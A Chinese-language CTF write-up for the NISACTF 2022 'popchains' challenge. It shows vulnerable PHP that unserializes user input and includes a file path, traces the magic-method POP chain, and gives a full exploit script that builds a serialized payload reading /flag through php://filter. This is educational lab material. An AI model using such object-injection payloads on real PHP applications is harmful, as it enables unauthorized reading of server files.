NSS [NISACTF 2022]popchains

简介: NSS [NISACTF 2022]popchains

NSS [NISACTF 2022]popchains

先看看题目,源码如下。

<?php
echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);        //@为了不报错
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

服务器反序列化Road_is_Long—>Road_is_Long::wakeup()—>Road_is_Long::toString()–>Make_a_Change::get()—>Try_Work_Hard::invoke()—>Try_Work_Hard::append()

exp:
<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";  //protected不能从外面赋值
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}



$road1 = new Road_is_Long();   
$road2 = new Road_is_Long();   
$try = new Try_Work_Hard();
$make = new Make_a_Change();
 
$road1->page = $road2;
$road2->string=$make;
$make->effort=$try;


$jay17 = serialize($road1);
echo urlencode($jay17);

目录
相关文章
|
3月前
NSS [NISACTF 2022]babyupload
NSS [NISACTF 2022]babyupload
38 0
|
3月前
|
PHP
NSS [NISACTF 2022]level-up
NSS [NISACTF 2022]level-up
40 0
|
3月前
NSS [MoeCTF 2022]ezhtml
NSS [MoeCTF 2022]ezhtml
34 0
|
3月前
NSS [MoeCTF 2022]ezphp
NSS [MoeCTF 2022]ezphp
38 0
|
3月前
NSSCTF[NISACTF 2022]sign-ezc++
NSSCTF[NISACTF 2022]sign-ezc++
29 0
|
3月前
NSS [HNCTF 2022 WEEK2]ez_ssrf
NSS [HNCTF 2022 WEEK2]ez_ssrf
36 0
OBIEE Pentest
https://www.integrigy.com/files/Integrigy_OBIEE_Security_Top_Ten.
1267 0
|
SQL 网络协议 关系型数据库
|
Shell Linux 数据安全/隐私保护
|
Web App开发 PHP 索引